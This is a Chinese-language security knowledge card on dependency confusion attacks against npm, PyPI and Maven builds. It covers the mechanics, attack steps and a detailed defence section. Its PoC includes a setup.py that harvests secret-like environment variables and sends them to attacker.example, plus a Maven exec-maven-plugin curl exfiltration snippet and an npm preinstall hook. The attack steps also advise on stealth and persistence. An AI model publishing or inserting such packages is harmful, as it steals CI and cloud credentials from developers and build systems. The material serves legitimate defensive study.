依赖混淆攻击:公共仓库同名高版本包劫持内部依赖并在安装/构建期执行
cloud/ci-cd · verified
一句话结论
当企业的构建工具同时查询私有仓库和公共仓库、并在同名包中按最高版本选择时,攻击者只需在 npm/PyPI/Maven Central 注册与内部包完全同名的恶意包并设置 99.0.0 一类超高版本,就能让 npm install、pip install、Maven 构建拉取公共恶意包,借助 preinstall、setup.py、exec-maven-plugin 或 Java 静态初始化块在安装/构建阶段执行代码,窃取环境变量、CI 凭据或建立反向 shell。
原理
- 包名是全局命名空间,而非身份绑定:公共仓库的包名先到先得;依赖声明只记录名称与版本约束,不绑定发布者、来源仓库或内容哈希(除非使用锁文件哈希/签名验证)。攻击者可以在公共仓库注册一个与目标内部包同名的包。
- 解析器把多个源放进同一个候选池:npm 可通过
.npmrc配置多个 registry;pip 常用--index-url私有源搭配--extra-index-url公共源;Maven 可同时配置内部仓库与 Maven Central。部分配置下,包管理器会汇总所有源中的版本并选择满足约束的最高版本,而不是“私有源优先”。攻击者的99.0.0因此胜过内部的1.5.0。 - 安装期就是执行期:包管理器的生命周期脚本会在依赖解析后自动执行,不需要业务代码
require或import: - npm 的
preinstall/install/postinstall可执行任意命令; - Python 的
setup.py(或 PEP 517 构建后端)在构建/安装 sdist 或 wheel 时执行; - Maven 的
exec-maven-plugin可绑定到initialize等早期 phase,在构建开始阶段运行命令; - Java 依赖中的静态初始化块在该类第一次被加载时执行,可作为运行期后门。
- 为什么难以发现:恶意包名称与内部包完全一致,安装日志看起来只是正常的依赖下载;若攻击者在包中保留正常业务代码、只把恶意逻辑藏在安装脚本或环境判断分支中,代码审查和简单 diff 容易漏掉。
- 影响面:开发者本机、CI/CD 构建机、生产构建容器都会执行安装脚本;这些环境通常持有源码、云凭据、制品库 Token、签名密钥和部署权限,因此一次成功的依赖混淆往往直接导致供应链级失陷。
触发条件
- 企业内部存在私有依赖包,且包名未在公共仓库占位;或使用了容易被猜到的内部命名(
company-utils、internal-tools、shared-lib、common-package等)。 - 构建/开发环境配置了多个包源,且解析策略允许公共源参与同名包的版本竞争:npm 多 registry、pip 的
extra-index-url、Maven 的多 repository 均可能满足。 - 项目未使用带完整哈希的锁文件,或锁文件允许在安装时重新解析版本;版本约束使用
^、~、latest或版本范围。 - 包管理器未禁用生命周期脚本(npm 未加
--ignore-scripts;pip 未使用--require-hashes/私有源唯一化;Maven 未限制插件执行)。 - 构建环境可访问公共仓库,且安装脚本可出站访问攻击者服务器(或可仅写本地文件/修改 CI 配置)。
- 攻击者能通过公开源码、错误日志、文档、招聘信息、泄露的
package.json/requirements.txt/pom.xml或 CI 日志获知内部包名与版本。
利用步骤
- 侦察内部包名:从公开代码仓库、Issue/错误堆栈、文档、招聘 JD、泄露的依赖清单与 CI 日志中收集内部包名;按
company-*、internal-*、*-internal、shared-*等模式猜测未公开的包名。 - 确认解析行为:判断目标使用 npm、pip 还是 Maven,以及是否配置了公共源;对 npm 检查
.npmrc的 registry 与 scope 配置,对 pip 检查pip.conf是否含extra-index-url,对 Maven 检查settings.xml的 mirror/repository 顺序。 - 注册同名包:在对应公共仓库注册与内部包完全同名的包(npm 需注意 scope;无 scope 的内部名最容易命中),并发布一个远高于内部版本的版本号,如
99.0.0、999.0.0。 - 植入安装期载荷:按生态选择执行点——npm
preinstall/postinstall执行 Node 脚本;Pythonsetup.py在安装时收集key/secret/token/password等环境变量并外带;Maven 在pom.xml中用exec-maven-plugin绑定initialize执行 curl;Java 包在静态初始化块中判断企业环境后建立反向 shell。载荷应做异常静默与环境判断,避免影响正常安装。 - 等待安装/构建:开发者执行
npm install、pip install、mvn package,或 CI 在无锁文件/允许升级的情况下重新解析依赖;包管理器选择公共高版本并执行安装脚本。 - 后利用:窃取 CI Token、云 AK/SK、制品库凭据、签名密钥;在构建机植入持久化后门;篡改 CI/CD 配置或构建产物,把影响扩散到下游。
- 维持隐蔽:保留正常业务接口和版本元数据,避免包被立即下架;把外带流量伪装成普通 HTTPS 请求,或仅在检测到企业网络/CI 环境时激活。
PoC
以下为最小验证片段(只写标记文件/本地请求,不执行原始恶意逻辑;未在本机运行):
npm 恶意包 package.json:
{
"name": "company-internal-utils",
"version": "99.0.0",
"scripts": {
"preinstall": "node -e \"require('fs').writeFileSync(require('os').homedir()+'/.dep_confusion_poc','ok')\""
}
}
Python 恶意包 setup.py(安装期收集敏感环境变量并外带,示例为占位地址):
from setuptools import setup
import os, base64, urllib.request
def collect():
try:
env = {k: v for k, v in os.environ.items()
if any(s in k.lower() for s in ("key", "secret", "token", "password"))}
data = base64.b64encode(str(env).encode()).decode()
urllib.request.urlopen("https://attacker.example/collect?d=" + data, timeout=5)
except Exception:
pass
collect()
setup(name="internal-utils", version="99.0.0", packages=[])
Maven pom.xml 片段(构建早期执行命令):
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>exec-maven-plugin</artifactId>
<executions>
<execution>
<phase>initialize</phase>
<goals><goal>exec</goal></goals>
<configuration>
<executable>curl</executable>
<arguments>
<argument>-X</argument><argument>POST</argument>
<argument>-d</argument><argument>host=$(hostname)</argument>
<argument>https://attacker.example/collect</argument>
</arguments>
</configuration>
</execution>
</executions>
</plugin>
验证命令(本地私有源 + 公共源场景,需自行搭建测试仓库):
# npm:确认解析到的版本与来源
npm view company-internal-utils version
npm install company-internal-utils --ignore-scripts=false
# pip:确认 extra-index-url 下选中的版本
pip install internal-utils -v
# Maven:确认实际下载仓库与插件执行
mvn -X package
变体与关联
- 变体:typosquatting/抢注废弃包名,利用拼写错误或上游删除后名称回收,见 [[cloud-cicd-pypi-optional-dependency-name-takeover]]、[[cloud-cicd-accesskey-tools-typosquat-sdk-endpoint-hijack]]。
- 变体:攻陷合法包的发布凭证,在主包中新增隐藏依赖并借
postinstall执行,见 [[cloud-cicd-npm-postinstall-supply-chain-poisoning]]。 - 变体:用恶意 PEP 517 构建后端在 pip 安装期执行任意代码,见 [[cloud-cicd-pep517-build-backend-install-rce]];用恶意 Java 注解处理器在编译期执行,见 [[cloud-cicd-java-annotation-processor-compile-rce]]。
- 关联:AI 代码生成/模型幻觉诱导安装不存在的包名,见 [[ai-security-supply-chain-slopsquatting-hallucinated-package-registration]]、[[ai-security-supply-chain-ai-codegen-prompt-npm-install-rce]]。
- 关联:安装脚本本身只是执行点,最终危害取决于后续窃取凭据、云元数据或 CI 权限,可继续参考云凭据与 CI/CD 相关卡片。
检测与防御
- 源与解析策略:内部包使用 npm scope(如
@company/...)并在.npmrc中把该 scope 固定到私有仓库;pip 只用私有--index-url,删除有风险的--extra-index-url;Maven 在settings.xml中把内部仓库设为唯一镜像或限制mirrorOf,禁止公共仓库参与同名包竞争。 - 锁定与校验:提交并强制使用
package-lock.json/Pipfile.lock/requirements.txt(带哈希)/poetry.lock/Cargo.lock等锁文件;pip 使用--require-hashes;npm 使用npm ci而非npm install;Maven 固定版本并校验校验和。锁文件应包含来源仓库与完整性哈希,变更需 review。 - 禁用或限制安装脚本:npm CI 加
--ignore-scripts;pip 优先使用 wheel 并禁用构建隔离之外的任意后端;Maven 限制exec-maven-plugin等插件在构建中的使用。若业务必须执行脚本,应在隔离构建容器中运行并限制出站。 - 名称占位与监控:把内部包名在公共仓库注册为空包/占位包;持续监控公共仓库中与内部包名相同或高度相似的新包,关注
99.0.0/999.0.0等异常高版本、近期发布、无源码仓库、含安装脚本的包。 - SCA 与构建审计:用软件成分分析工具检查依赖来源、版本突变、许可证与已知恶意包;对比锁文件差异;记录构建机在安装阶段的出站连接,发现向未知域名的 POST/下载即告警。
- 凭据与隔离:CI 构建机使用最小权限的短期凭据,禁止在构建环境存放长期云密钥与签名私钥;构建任务使用隔离容器与受限网络;对构建产物做签名与来源证明(provenance)。
- 检测特征:安装日志中出现与内部包同名的公共包、版本跳跃、首次发布者、
preinstall/postinstall/setup.py执行、构建机异常 DNS/HTTPS 外联;源码仓库中依赖清单的包名与私有制品库不一致。